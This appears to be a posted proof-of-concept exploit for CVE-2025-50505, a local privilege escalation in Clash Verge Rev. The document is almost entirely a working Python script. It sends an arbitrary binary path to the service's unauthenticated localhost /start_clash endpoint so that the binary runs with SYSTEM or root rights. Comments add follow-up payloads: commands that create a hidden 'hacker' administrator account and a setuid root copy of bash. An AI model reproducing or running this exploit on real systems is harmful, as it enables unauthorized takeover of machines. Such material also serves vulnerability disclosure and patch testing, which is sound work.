CVE-2025-50505 Clash Verge Rev本地权限提升漏洞

#!/usr/bin/env python3 # CVE-2025-50505 - Clash Verge Rev Local Privilege Escalation PoC # Exploits unauthorized /start_clash HTTP API to execute arbitrary binary with SYSTEM privileges import requests import sys import os TARGET_HOST = "127.0.0.1" # Clash Verge service listens on localhost by default TARGET_PORT = 33219 # Default port for clash-verge-service HTTP API def exploit(bin_path): """ Send malicious bin_path to the unauthorized /start_clash endpoint. The service will execute the specified binary with elevated privileges. """ url = f"http://{TARGET_HOST}:{TARGET_PORT}/start_clash" payload = {"bin_path": bin_path} try: response = requests.post(url, json=payload, timeout=5) print(f"[+] Request sent to {url}") print(f"[+] Payload: {payload}") print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text}") if response.status_code == 200: print("[!] Exploit successful! The binary is being executed with elevated privileges.") else: print("[-] Exploit may have failed. Check service status.") except requests.exceptions.ConnectionError: print("[-] Cannot connect to clash-verge-service. Ensure the service is running.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: # Default: execute cmd.exe (Windows) or /bin/bash (Linux) as SYSTEM if os.name == "nt": bin_path = "C:\\Windows\\System32\\cmd.exe" else: bin_path = "/bin/bash" print(f"[*] No binary path specified. Using default: {bin_path}") else: bin_path = sys.argv[1] # Step 1: Prepare a payload binary (e.g., add a new admin user or spawn a reverse shell) # On Windows: net user hacker P@ssw0rd /add && net localgroup administrators hacker /add # On Linux: cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash exploit(bin_path)